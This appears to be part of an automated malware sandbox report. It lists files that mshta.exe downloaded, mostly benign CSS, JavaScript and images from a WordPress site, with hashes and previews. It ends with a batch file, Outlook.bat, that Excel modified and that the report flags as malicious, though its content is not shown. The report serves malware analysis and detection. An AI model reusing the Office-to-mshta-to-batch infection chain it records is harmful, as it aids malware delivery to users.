                                                              Preview:@font-face {. font-family: 'Lato';. font-style: normal;. font-weight: 400;. src: url(http://fonts.gstatic.com/s/lato/v23/S6uyw4BMUTPHjx4wWg.eot);.}.

                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\css[2].css

                                                              Download File
                                                              Process:C:\Windows\System32\mshta.exe
                                                              File Type:ASCII text
                                                              Category:downloaded
                                                              Size (bytes):154
                                                              Entropy (8bit):5.123661053174663
                                                              Encrypted:false
                                                              SSDEEP:3:0SYWFFWlIYCZZ5RI5XwDKLRIHDfFU/w7fqzNsqcdjKI9tB8gfKRfvYvn:0IFFN+56ZP7izNspdP9D8LAv
                                                              MD5:B3F631391C5184932BA0D5AE887A2924
                                                              SHA1:EC95EEB6AEC69F4EC64F20D53B807802716468CD
                                                              SHA-256:2E3EDCE076C67951659C01C1A4B07592E6E9FF327D2C89EE660BBF47E2887D9F
                                                              SHA-512:B840688F47BE36DD829F1473FB47E0703519968705D0324C62A3D081E557E8F5DC44F6EC7A2148A5B7567EA9800B171FA9F70E198E1948EE6E3006360D3FAD92
                                                              Malicious:false
                                                              IE Cache URL:http://fonts.googleapis.com/css?family=Lato:100
                                                              Preview:@font-face {. font-family: 'Lato';. font-style: normal;. font-weight: 100;. src: url(http://fonts.gstatic.com/s/lato/v23/S6u8w4BMUTPHh30AXC-u.eot);.}.

                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\css[3].css

                                                              Download File
                                                              Process:C:\Windows\System32\mshta.exe
                                                              File Type:ASCII text
                                                              Category:downloaded
                                                              Size (bytes):152
                                                              Entropy (8bit):5.082226381168297
                                                              Encrypted:false
                                                              SSDEEP:3:0SYWFFWlIYCZZ5RI5XwDKLRIHDfFRWdFTfqzNsqcdjKIUtB40KHYvn:0IFFN+56ZRWHTizNspdPUtBNv
                                                              MD5:2BC56AB743AAE5AAC9AAC55D0850AAC5
                                                              SHA1:BFB989317C6BAAE1BAD28B90D9535B19BE847827
                                                              SHA-256:5EC882B2726B2C1D1DA1717E2AC16FB43C0C9F34FEA5392B8DE090A47BEF197A
                                                              SHA-512:FD901DB8F9B5ED13E5EFC55A750A364D47066509D7415544916AC7A9B3DFFC2A95A7CC3A45811C1A51746A0160A6D5F894CB06D51B0F234A558EFD9290A31F1A
                                                              Malicious:false
                                                              IE Cache URL:http://fonts.googleapis.com/css?family=Lato:400
                                                              Preview:@font-face {. font-family: 'Lato';. font-style: normal;. font-weight: 400;. src: url(http://fonts.gstatic.com/s/lato/v23/S6uyw4BMUTPHjx4wWg.eot);.}.

                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\css[4].css

                                                              Download File
                                                              Process:C:\Windows\System32\mshta.exe
                                                              File Type:ASCII text
                                                              Category:downloaded
                                                              Size (bytes):156
                                                              Entropy (8bit):5.1208073656474
                                                              Encrypted:false
                                                              SSDEEP:3:0SYWFFWlIYCZZ5RI5XwDKLRIHDfFWYhfqzNsqcdjKIsfn6vYvn:0IFFN+56ZzhizNspdPsyAv
                                                              MD5:F123470D54A5D2FFAADD149D5AD1AAB0
                                                              SHA1:3C2F20E79789430AA00C6D7905C3CBF5C397F9A4
                                                              SHA-256:9E9E61C05174FAB73421B450A65AB5882D2953DA2BC4501212CAE8F3C53B358C
                                                              SHA-512:2ABF321BFFD8233E19D8BB5FFE9FF5D93E1C9E41B0AF63067CC2DA13DFCD80176D3D9D6762D5D36CBE379B5DC122A24A8B190CE6ACDAD5C3CE3D4F754FB58CF0
                                                              Malicious:false
                                                              IE Cache URL:http://fonts.googleapis.com/css?family=Lato:300
                                                              Preview:@font-face {. font-family: 'Lato';. font-style: normal;. font-weight: 300;. src: url(http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh7USSwiPHQ.eot);.}.

                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\css[5].css

                                                              Download File
                                                              Process:C:\Windows\System32\mshta.exe
                                                              File Type:ASCII text
                                                              Category:downloaded
                                                              Size (bytes):156
                                                              Entropy (8bit):5.138466900917678
                                                              Encrypted:false
                                                              SSDEEP:3:0SYWFFWlIYCZZ5RI5XwDKLRIHDfFS/w7fqzNsqcdjKIsk2SU6vYvn:0IFFN+56ZN7izNspdPsk2SU6Av
                                                              MD5:61D55D02CF44B8A326A1504988A4955C
                                                              SHA1:1641427E2A855C452FF71C3DD8014419376A30AD
                                                              SHA-256:313F45400B50542F391871B43C708EADBDB23BFD4549EB8017A7192351FC41E4
                                                              SHA-512:E8C3F9EEB19793334FDBF6CDE1731F09900F5BC20FAF3A1B6F76B796FCACB31324109280489923EBB66BEDEE242A6CD8B6654D80D95D9F523EC12CF633816127
                                                              Malicious:false
                                                              IE Cache URL:http://fonts.googleapis.com/css?family=Lato:700
                                                              Preview:@font-face {. font-family: 'Lato';. font-style: normal;. font-weight: 700;. src: url(http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh6UVSwiPHQ.eot);.}.

                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\css[6].css

                                                              Download File
                                                              Process:C:\Windows\System32\mshta.exe
                                                              File Type:ASCII text
                                                              Category:downloaded
                                                              Size (bytes):156
                                                              Entropy (8bit):5.133627878467913
                                                              Encrypted:false
                                                              SSDEEP:3:0SYWFFWlIYCZZ5RI5XwDKLRIHDfFcYFTfqzNsqcdjKIsWg6vYvn:0IFFN+56Z1FTizNspdPsWg6Av
                                                              MD5:BC9F29EE3D832A38F914975FD3C14848
                                                              SHA1:970307BD837AB5B3380A1BAE698091F2E080F5E3
                                                              SHA-256:EE49572B06F53A4EA8DB5798B07507AA2D3E535FF443C27AE315177B0164FF42
                                                              SHA-512:EBFADAD58232A738039F1D75523E3CB36928E4E2846A60CCA8B66AC7820666F7A6523AAF2622CD05B3102DCA4F61BAAA4EC7001C8A5D8D7B0D340E4976456370
                                                              Malicious:false
                                                              IE Cache URL:http://fonts.googleapis.com/css?family=Lato:900
                                                              Preview:@font-face {. font-family: 'Lato';. font-style: normal;. font-weight: 900;. src: url(http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh50XSwiPHQ.eot);.}.

                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\custom-script[1].js

                                                              Download File
                                                              Process:C:\Windows\System32\mshta.exe
                                                              File Type:ASCII text
                                                              Category:downloaded
                                                              Size (bytes):5333
                                                              Entropy (8bit):5.251194517626103
                                                              Encrypted:false
                                                              SSDEEP:96:i7Xo1sX/me8vbi9uq5r+iM19dnFMoOsSyM4WtKNOk:SGsuvbi9odedXyM3tKgk
                                                              MD5:739E27C21C55279E44DCF1C1967E8F5F
                                                              SHA1:F95C101BABBBA485FE49C82991C8299C90D001D9
                                                              SHA-256:611C66D42B9CC55CFA24BA8FC857B9ED01B78E2A5C2A954BC7DD70A889A7AD19
                                                              SHA-512:1DE4C427F75F4F9E9EA3BA37EB697C5E768EBE403CE2E410872CD18C22DB60D4EE0D032D795C9BCA03CE793D84D23B68BA963BF4110D8537F7E2D29B1D5B809C
                                                              Malicious:false
                                                              IE Cache URL:http://facextrade.com.br/wp-content/themes/theme51253/js/custom-script.js?ver=1.0
                                                              Preview:jQuery(document).ready(function(){..var...windowSelector = jQuery(window)..;...windowSelector.resize(function(){...jQuery('.gmap_container').css({ 'width': windowSelector.width(), 'left':'50%', 'margin-left': windowSelector.width()/-2 });...jQuery('.gmap_container2').css({ 'width': windowSelector.width(), 'left':'50%', 'margin-left': windowSelector.width()/-2 });...jQuery('.content_container1').css({ 'width': windowSelector.width(), 'left':'50%', 'margin-left': windowSelector.width()/-2 });..}).trigger("resize");...jQuery('.cherry_media_parallax_1').fadeTo(0, 0);...})..$(function() {..var...menuWrap = $('.header .menu_wrap')..,.offsetArray = []..,.offsetValueArray = []..,._document = $(document)..,.currHash = ''..,.isAnim = false..,.isHomePage = $('body').hasClass('home')? true:false..;....//--------------------------- Menu navigation ---------------------------..$('#topnav > li', menuWrap).each(function(){...if($(this).hasClass('menu-item-type-custom')){....var newUrl = $('header .log

                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\error[1]

                                                              Download File
                                                              Process:C:\Windows\System32\mshta.exe
                                                              File Type:HTML document, UTF-8 Unicode (with BOM) text, with CRLF line terminators
                                                              Category:downloaded
                                                              Size (bytes):3247
                                                              Entropy (8bit):5.459946526910292
                                                              Encrypted:false
                                                              SSDEEP:96:vKFlZ/kxjqD9zqp36wxVJddFAdd5Ydddopdyddv+dd865FhlleXckVDuca:C0pv+GkduSDl6LRa
                                                              MD5:16AA7C3BEBF9C1B84C9EE07666E3207F
                                                              SHA1:BF0AFA2F8066EB7EE98216D70A160A6B58EC4AA1
                                                              SHA-256:7990E703AE060C241EBA6257D963AF2ECF9C6F3FBDB57264C1D48DDA8171E754
                                                              SHA-512:245559F757BAB9F3D63FB664AB8F2D51B9369E2B671CF785A6C9FB4723F014F5EC0D60F1F8555D870855CF9EB49F3951D98C62CBDF9E0DC1D28544966D4E70F1
                                                              Malicious:false
                                                              IE Cache URL:res://ieframe.dll/error.dlg
                                                              Preview:...<HTML id=dlgError STYLE="font-family: ms sans serif; font-size: 8pt;..width: 41.4em; height: 24em">..<HEAD>..<meta http-equiv="Content-Type" content="text/html; charset=utf-8">..<META HTTP-EQUIV="MSThemeCompatible" CONTENT="Yes">..<TITLE id=dialogTitle>..Script Error..</TITLE>..<SCRIPT>..var L_Dialog_ErrorMessage = "An error has occurred in this dialog.";..var L_ErrorNumber_Text = "Error: ";..var L_ContinueScript_Message = "Do you want to debug the current page?";..var L_AffirmativeKeyCodeLowerCase_Number = 121;..var L_AffirmativeKeyCodeUpperCase_Number = 89;..var L_NegativeKeyCodeLowerCase_Number = 110;..var L_NegativeKeyCodeUpperCase_Number = 78;..</SCRIPT>..<SCRIPT LANGUAGE="JavaScript" src="error.js" defer></SCRIPT>..</HEAD>..<BODY ID=bdy onLoad="loadBdy()" style="font-family: 'ms sans serif';..font-size: 8pt; background: threedface; color: windowtext;" topmargin=0>..<CENTER id=ctrErrorMessage>..<table id=tbl1 cellPadding=3 cellspacing=3 border=0..style="background: buttonface

                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\font-awesome[1].css

                                                              Download File
                                                              Process:C:\Windows\System32\mshta.exe
                                                              File Type:ASCII text, with very long lines
                                                              Category:downloaded
                                                              Size (bytes):27231
                                                              Entropy (8bit):4.969538355156986
                                                              Encrypted:false
                                                              SSDEEP:384:V4CBhTJwxFGFepFFVofu2NF2advHrGlmBpa/pe:zBEFGFepFvoGOkadvHz3Ke
                                                              MD5:2D53B06F292DCB355B5E1A39EC065054
                                                              SHA1:57CA25A18CBDEDF36973B712BC81F9E3F883A371
                                                              SHA-256:22A22E76F4DE930E54DD33AF00C71B68828847409E5E79787DF5224DD9776C6F
                                                              SHA-512:83C4394957069679994F7C04B1643AF895733E3469B539F9D202934FA5F808D31CB42EDF92029F23E849DEDD45EC50BB90D0009C3FA4450E8E50AB9C832313DA
                                                              Malicious:false
                                                              IE Cache URL:http://netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
                                                              Preview:/*!. * Font Awesome 3.2.1. * the iconic font designed for Bootstrap. * ------------------------------------------------------------------------------. * The full suite of pictographic icons, examples, and documentation can be. * found at http://fontawesome.io. Stay up to date on Twitter at. * http://twitter.com/fontawesome.. *. * License. * ------------------------------------------------------------------------------. * - The Font Awesome font is licensed under SIL OFL 1.1 -. * http://scripts.sil.org/OFL. * - Font Awesome CSS, LESS, and SASS files are licensed under MIT License -. * http://opensource.org/licenses/mit-license.html. * - Font Awesome documentation licensed under CC BY 3.0 -. * http://creativecommons.org/licenses/by/3.0/. * - Attribution is no longer required in Font Awesome 3.0, but much appreciated:. * "Font Awesome by Dave Gandy - http://fontawesome.io". *. * Author - Dave Gandy. * -------------------------------------------------------------

                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\jquery.mousewheel.min[1].js

                                                              Download File
                                                              Process:C:\Windows\System32\mshta.exe
                                                              File Type:ASCII text, with very long lines
                                                              Category:downloaded
                                                              Size (bytes):1392
                                                              Entropy (8bit):5.304639490555412
                                                              Encrypted:false
                                                              SSDEEP:24:JNFww5yF1TY6APXYBfQJbHLcIYADqfIO0hz7aUIONhM7v9O9BK8:JbCsPXYBfQuIIkhzGUdhMLYLK8
                                                              MD5:25DB04E9DAEE1C00F6CA337537C32C01
                                                              SHA1:CC1D92C5536C9B2DD766B6EDDC0C8BA8CF831438
                                                              SHA-256:C8104390115F92B27003B1E4E503EF59343CCFEF4AC19751093544E8CFAEAE26
                                                              SHA-512:F5BCA70968AB8D030218485A4417E2AF39621F7E7DF150C9BCA84281801CA5A43B55759844D677626A5FF53BAD4C049C995E0DB72CB4B549766628718DE9E518
                                                              Malicious:false
                                                              IE Cache URL:http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.mousewheel.min.js?ver=3.0.6
                                                              Preview:/*! Copyright (c) 2011 Brandon Aaron (http://brandonaaron.net). * Licensed under the MIT License (LICENSE.txt).. *. * Thanks to: http://adomas.org/javascript-mouse-wheel/ for some pointers.. * Thanks to: Mathias Bank(http://www.mathias-bank.de) for a scope bug fix.. * Thanks to: Seamus Leahy for adding deltaX and deltaY. *. * Version: 3.0.6. * . * Requires: 1.2.2+. */.(function(a){function d(b){var c=b||window.event,d=[].slice.call(arguments,1),e=0,f=!0,g=0,h=0;return b=a.event.fix(c),b.type="mousewheel",c.wheelDelta&&(e=c.wheelDelta/120),c.detail&&(e=-c.detail/3),h=e,c.axis!==undefined&&c.axis===c.HORIZONTAL_AXIS&&(h=0,g=-1*e),c.wheelDeltaY!==undefined&&(h=c.wheelDeltaY/120),c.wheelDeltaX!==undefined&&(g=-1*c.wheelDeltaX/120),d.unshift(b,e,g,h),(a.event.dispatch||a.event.handle).apply(this,d)}var b=["DOMMouseScroll","mousewheel"];if(a.event.fixHooks)for(var c=b.length;c;)a.event.fixHooks[b[--c]]=a.event.mouseHooks;a.event.special.mousewheel={setup:function(){if(this.addEventListener)f

                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\magnific-popup[1].css

                                                              Download File
                                                              Process:C:\Windows\System32\mshta.exe
                                                              File Type:ASCII text
                                                              Category:downloaded
                                                              Size (bytes):9304
                                                              Entropy (8bit):4.884999133560261
                                                              Encrypted:false
                                                              SSDEEP:192:hNQeaSgt1RlPZpFXWi6fEKJHFiN6/kw57F5fmu4xCEBvL:uTPdXDlwFdF5On
                                                              MD5:33F641DF8C0FC8A2A5C9C7FAD61EC019
                                                              SHA1:7E4999E434F83D66A6E436DA9373880C47289704
                                                              SHA-256:690587B44CBF9FF5EFA013957F8460D96B36775ACBB27472CFB6DC34BB91AF4D
                                                              SHA-512:910F7FD759FD016EED7C7707E971DAAD57DB08D5CE421D7C94B43CCCCB67440654B87CC2FA3B75C28DC77DBE77C017B2EB7A1BE38436061AE9CF177F1FA900BB
                                                              Malicious:false
                                                              IE Cache URL:http://facextrade.com.br/wp-content/themes/CherryFramework/css/magnific-popup.css?ver=0.9.3
                                                              Preview:/* Magnific Popup CSS */..mfp-bg {. top: 0;. left: 0;. width: 100%;. height: 100%;. z-index: 1042;. overflow: hidden;. position: fixed;. background: #0b0b0b;. opacity: 0.8;. filter: alpha(opacity=80); }...mfp-wrap {. top: 0;. left: 0;. width: 100%;. height: 100%;. z-index: 1043;. position: fixed;. outline: none !important;. -webkit-backface-visibility: hidden; }...mfp-container {. text-align: center;. position: absolute;. width: 100%;. height: 100%;. left: 0;. top: 0;. padding: 0 8px;. -webkit-box-sizing: border-box;. -moz-box-sizing: border-box;. box-sizing: border-box; }...mfp-container:before {. content: '';. display: inline-block;. height: 100%;. vertical-align: middle; }...mfp-align-top .mfp-container:before {. display: none; }...mfp-content {. position: relative;. display: inline-block;. vertical-align: middle;. margin: 0 auto;. text-align: left;. z-index: 1045; }...mfp-inline-holder .mfp-content,..mfp-ajax-holder .mfp-content {. width: 100

                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\main-style[1].css

                                                              Download File
                                                              Process:C:\Windows\System32\mshta.exe
                                                              File Type:ASCII text, with very long lines
                                                              Category:downloaded
                                                              Size (bytes):70411
                                                              Entropy (8bit):5.127502328619063
                                                              Encrypted:false
                                                              SSDEEP:384:djgWEVPPo2Oe+fAwE+ZLBdOK1yPRFH1gXnSGPEIQS1hEZNx2+:XrOK1yPRAXpbENx/
                                                              MD5:8C58B6C64504AEC029A5EB64FDA110C7
                                                              SHA1:CC0F3354640103B329923BA00054F750578CB78F
                                                              SHA-256:E0AFECC6055391B4B65D6350F8D05387DF73467D3D8C0DC53CC1AC5CB7B639EA
                                                              SHA-512:5B631A9F5E916321BB23D8FD90BF27394591FB83A1BA2CA8E9976A3875FFB0DECC0A97DD64C516D165814F01F909D9B1B4E1D1A008B76F1C1EE8C4A7747B2A8B
                                                              Malicious:false
                                                              IE Cache URL:http://facextrade.com.br/wp-content/themes/theme51253/main-style.css
                                                              Preview:@import url("../CherryFramework/style.css");.@import url(//fonts.googleapis.com/css?family=Lato:100);.@import url(//fonts.googleapis.com/css?family=Lato:300);.@import url(//fonts.googleapis.com/css?family=Lato:400);.@import url(//fonts.googleapis.com/css?family=Lato:700);.@import url(//fonts.googleapis.com/css?family=Lato:900);..wrap { overflow:hidden; }.h1, h2, h3, h4, h5, h6 { margin-top:0; }.h2 {..font-weight:100 !important;..text-shadow:0 0 0 rgba(0,0,0,0);.}.h2 strong { font-weight:900 !important; }.h3 { font-weight:900 !important; }.a {..-webkit-transition:all 0.5s ease;..-moz-transition:all 0.5s ease;..-o-transition:all 0.5s ease;..transition:all 0.5s ease;.}.a:hover { text-decoration:none; }..header {..width:100%;..position:absolute;..top:0;..padding:23px 0 20px;..border:none;..background:#fff;.}.@media (max-width: 767px) {...header {...width:auto;...padding-left:20px;...padding-right:20px;...position:relative !important;..}.}..header:after {..content:'';..position:absolute;..b

                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\owl.theme[1].css

                                                              Download File
                                                              Process:C:\Windows\System32\mshta.exe
                                                              File Type:ASCII text
                                                              Category:downloaded
                                                              Size (bytes):1664
                                                              Entropy (8bit):5.223754054665017
                                                              Encrypted:false
                                                              SSDEEP:24:8rpEA98FvWxsEFgbZl4ulFZlnG1GoRVWX1GaDtGqvWf+KHK2ld1GKZXugZM5+iTk:8PG0+EFgPeAGfBw5JX0kg9
                                                              MD5:FE31A99F51A65EC2A31AD4B63702C93D
                                                              SHA1:1BA10A799FBD399D03E9AD2C71431C89ABBC4F32
                                                              SHA-256:8F8439F41DD768871BDE30FCEB034A6DE5A50945A564658A60A06B23CB5D039A
                                                              SHA-512:0346796A91A74B470D6C44536A685D8F8E7C154163A60CF001EC15CDD80A71B43ED270112575E584974F8274FDB4200E2A3EBF92DA8A8F9ACC1438BD3495446F
                                                              Malicious:false
                                                              IE Cache URL:http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/owl-carousel/owl.theme.css?ver=1.24
                                                              Preview:/*.* .Owl Carousel Owl Demo Theme .*.v1.24.*/...owl-theme .owl-controls{..margin-top: 10px;..text-align: center;.}../* Styling Next and Prev buttons */...owl-theme .owl-controls .owl-buttons div{..color: #FFF;..display: inline-block;..zoom: 1;..*display: inline;/*IE7 life-saver */..margin: 5px;..padding: 3px 10px;..font-size: 12px;..-webkit-border-radius: 30px;..-moz-border-radius: 30px;..border-radius: 30px;..background: #869791;..filter: Alpha(Opacity=50);/*IE7 fix*/..opacity: 0.5;.}./* Clickable class fix problem with hover on touch devices */./* Use it for non-touch hover action */..owl-theme .owl-controls.clickable .owl-buttons div:hover{..filter: Alpha(Opacity=100);/*IE7 fix*/..opacity: 1;..text-decoration: none;.}../* Styling Pagination*/...owl-theme .owl-controls .owl-page{..display: inline-block;..zoom: 1;..*display: inline;/*IE7 life-saver */.}..owl-theme .owl-controls .owl-page span{..display: block;..width: 12px;..height: 12px;..margin: 5px 7px;..filter: Alpha(Opacity=50);/

                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\scripts[1].js

                                                              Download File
                                                              Process:C:\Windows\System32\mshta.exe
                                                              File Type:ASCII text
                                                              Category:downloaded
                                                              Size (bytes):14585
                                                              Entropy (8bit):5.05967424474738
                                                              Encrypted:false
                                                              SSDEEP:384:Y0KR2j16xNN7FUx4fCauIC+V+oeBKdYYJfRscKvVJVw1Iv3S3OVKEkl9UQznC:Rrj16xNN7Cx4fj4+WVJ/v3ZVAC
                                                              MD5:80F051B85C7CC301D20DC6C522C71814
                                                              SHA1:D8344EEE926EBE2F35396F51CFA5614CB4307B40
                                                              SHA-256:C6138C4B65AAFF6E46D51C26096FFFFADD202974003AD0F6D4475B45204BD0AB
                                                              SHA-512:24BF9B3B18299B678273D028F81BB9B5816E2EB98402D6CD9ADAAEA755C56F6D1FC2E49B2F86248DFAE341E7127458DC0BD2F62C41DC020E16D251FD3E0262A2
                                                              Malicious:false
                                                              IE Cache URL:http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=5.0.3
                                                              Preview:( function( $ ) {...'use strict';...if ( typeof wpcf7 === 'undefined' || wpcf7 === null ) {...return;..}...wpcf7 = $.extend( {...cached: 0,...inputs: []..}, wpcf7 );...$( function() {...wpcf7.supportHtml5 = ( function() {....var features = {};....var input = document.createElement( 'input' );.....features.placeholder = 'placeholder' in input;.....var inputTypes = [ 'email', 'url', 'tel', 'number', 'range', 'date' ];.....$.each( inputTypes, function( index, value ) {.....input.setAttribute( 'type', value );.....features[ value ] = input.type !== 'text';....} );.....return features;...} )();....$( 'div.wpcf7 > form' ).each( function() {....var $form = $( this );....wpcf7.initForm( $form );.....if ( wpcf7.cached ) {.....wpcf7.refill( $form );....}...} );..} );...wpcf7.getId = function( form ) {...return parseInt( $( 'input[name="_wpcf7"]', form ).val(), 10 );..};...wpcf7.initForm = function( form ) {...var $form = $( form );....$form.submit( function( event ) {....if ( typeof window.FormD

                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\switcher[1].png

                                                              Download File
                                                              Process:C:\Windows\System32\mshta.exe
                                                              File Type:PNG image data, 10 x 19, 8-bit/color RGBA, non-interlaced
                                                              Category:downloaded
                                                              Size (bytes):207
                                                              Entropy (8bit):5.824703976565338
                                                              Encrypted:false
                                                              SSDEEP:3:yionv//thPlHstj5l7prtxBlly43g/3MkOl0tDlX4wkBDjW3PsFmCsyxxZ2UGclC:6v/lhPWtVl1QHMkdJ4nDi3UqfclKh3p
                                                              MD5:D6AE4F341752017AB0E603E3BB9260B7
                                                              SHA1:C84C11D3BC69C7E14B2F75E7DEA6E0AC93DEE1E2
                                                              SHA-256:8C2AD9254589A597B65DAE284A6DA49DBFE1E3C8E628B03B80883D980FB6435E
                                                              SHA-512:136F04B44FC3194FB2DDA6DDE51AB0B83CE15BCD129EAD332053114675423D9E21E02769969D7037BC282F59AE11E673B61E2B3977253C54D8C5270FA72228FA
                                                              Malicious:false
                                                              IE Cache URL:http://facextrade.com.br/wp-content/plugins/gtranslate/switcher.png
                                                              Preview:.PNG........IHDR....................sBIT....|.d.....pHYs...........~.....tEXtCreation Time.01/09/10.......tEXtSoftware.Adobe Fireworks CS4......'IDAT(.c|....."..###1.B&.T...Q..QH.(..5/.?..Q-....IEND.B`.

                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\theme[1].css

                                                              Download File
                                                              Process:C:\Windows\System32\mshta.exe
                                                              File Type:ASCII text, with very long lines, with no line terminators
                                                              Category:downloaded
                                                              Size (bytes):87745
                                                              Entropy (8bit):5.5982827947800144
                                                              Encrypted:false
                                                              SSDEEP:1536:BC7O2E2CzZOUWqTNWm3GJUWXTOhYijX6MAuKT+0/W2sqDYyUliBf21R+ab+gLSnr:q9j+K
                                                              MD5:BB3B682DA2B43CE2AB6127EC0BB2F84E
                                                              SHA1:B7734D0819DA9A80E1483A36357D06EB24332C25
                                                              SHA-256:19BBB78D70DD6EE89FF91E26A422ADB69510E8FF83ACE800AD7E5D0F35F14509
                                                              SHA-512:81E0791DFF8996258C773DAC76EECC3C3B40658B16F7A57E224139A0B65E7EDDFA5D5DF64DE010034823BF642270C968FDB3FE38D99FF7BAB1C19ED1751DF5E3
                                                              Malicious:false
                                                              IE Cache URL:http://facextrade.com.br/wp-content/plugins/motopress-content-editor/includes/css/theme.css?ver=1.5.8
                                                              Preview:.motopress-text-obj span{line-height:1em}.motopress-image-obj .motopress-image-obj-basic{max-width:100% !important;margin:0 !important;padding:0 !important;border:0}.motopress-image-slider-obj{line-height:normal;min-height:0}.motopress-image-slider-obj *{line-height:normal}.motopress-image-slider-obj .slides{list-style:none outside none;margin:0 !important;padding:0;line-height:normal}.motopress-image-slider-obj .slides li{margin:0;margin-left:0 !important;padding:0}.motopress-image-slider-obj .slides li:before,.motopress-image-slider-obj .slides li:after{content:none !important}.motopress-image-slider-obj .slides li img{margin:0;padding:0;-moz-box-shadow:none;-webkit-box-shadow:none;box-shadow:none;border:0}.motopress-image-slider-obj .flex-control-nav{position:absolute !important;list-style:none outside none !important;margin:0 !important;padding:0 !important;line-height:normal;right:auto !important;bottom:-40px !important;text-align:center !important;z-index:auto !important}.motopre

                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\warning[1]

                                                              Download File
                                                              Process:C:\Windows\System32\mshta.exe
                                                              File Type:GIF image data, version 89a, 36 x 38
                                                              Category:dropped
                                                              Size (bytes):1062
                                                              Entropy (8bit):4.517838839626174
                                                              Encrypted:false
                                                              SSDEEP:12:z4ENetWsdvCMtkEFk+t2cd3ikIbOViGZVsMLfE4DMWUcC/GFvyVEZd6vcmadxVtS:nA/ag/QSi6/LKZzqKVQgJOexQkYfG6E
                                                              MD5:124A9E7B6976F7570134B7034EE28D2B
                                                              SHA1:E889BFC2A2E57491016B05DB966FC6297A174F55
                                                              SHA-256:5F95EFF2BCAAEA82D0AE34A007DE3595C0D830AC4810EA4854E6526E261108E9
                                                              SHA-512:EA1B3CC56BD41FC534AAC00F186180345CB2C06705B57C88C8A6953E6CE8B9A2E3809DDB01DAAC66FA9C424D517D2D14FA45FBEF9D74FEF8A809B71550C7C145
                                                              Malicious:false
                                                              Preview:GIF89a$.&.......h...............h.hh..h..h..h..h....h................h.................h.................h................hh.h..h..h..h..h.hhhhh.hh.hh.hh.hh..hh.h..h..h.h..h..hh.h..h..h..h..h..hh.h..h..h..h..h..hh.h..h..h..h..h...h...............h.hh..h..h..h..h....h...............h................h...........h.................h...............h.hh..h..h..h..h....h................h.................h.................h.................h..............h.hh.h..h..h..h....h..............h................h................h................h...............h.hh..h..h..h..h....h................h.................h.................h......................................................................................................................................!.......,....$.&.@......H.......<0.....VXQH..C..1>.(..@..C.t.q"B..S.\.r.D...Z.. .M.41.".......<.r.;.r4..P..]....+.T-...N...x....1.:..TdD...^.j..W.r...y....V...Lx0..):8p q.4.;...f`.r-K...(..P....t.].~..l..

                                                              C:\Users\user\AppData\Roaming\Microsoft\Windows\Cookies\SRUUBWYQ.txt

                                                              Download File
                                                              Process:C:\Windows\System32\mshta.exe
                                                              File Type:ASCII text
                                                              Category:downloaded
                                                              Size (bytes):85
                                                              Entropy (8bit):4.4923442839272045
                                                              Encrypted:false
                                                              SSDEEP:3:Fg1QAvJXv7YjUR7mUTvYlOnMHyXn:Fdk9/Mlb+n
                                                              MD5:A1B24A7959B567560CC65E0DC9B925AC
                                                              SHA1:5029781C6D50A3D3A6211D311E50035F969D19B1
                                                              SHA-256:44907BABA2A946DA7CFBD876C633CFE383F9D5E55F0A8EC6D1DD49C20642BEAB
                                                              SHA-512:C7CAEA78E6D529A021D98623F9B078A98341C2948777FDC9D82DEAE37F0AA3BFE8615820EDC1FCBEA500592F9636E2C1819BA08884C9960391C9B4B49CC9BF75
                                                              Malicious:false
                                                              IE Cache URL:google.com/
                                                              Preview:CONSENT.PENDING+525.google.com/.2147484673.3214489216.31125229.1201098092.30978455.*.

                                                              C:\Users\Public\Outlook.bat

                                                              Download File
                                                              Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                                              File Type:Unknown
                                                              Category:modified
                                                              Size (bytes):1126
                                                              Entropy (8bit):4.492674933696318
                                                              Encrypted:false
                                                              SSDEEP:24:sj4MyluZiolTQP64K6o80dGo3ahMowo4oM2ocnhg:sj4R8
                                                              MD5:20484F4A7D41C5F54A0DC7A7D35C2155
                                                              SHA1:0B197C48D648BBDC131DCA6D4FB89903303372F9
                                                              SHA-256:6DF10DD726CEF49360DF78C47651A311EA7BB21064FE77E019E223EF32776072
                                                              SHA-512:94DF430C3890D5BA23618283EA6EAA6AA0C74D19C5E049F3CC4D65A464266CCC2EEFCCDB59D6464606200B2E51CDC9B57C2534C67ADED228D00A54D856C98591
                                                              Malicious:true
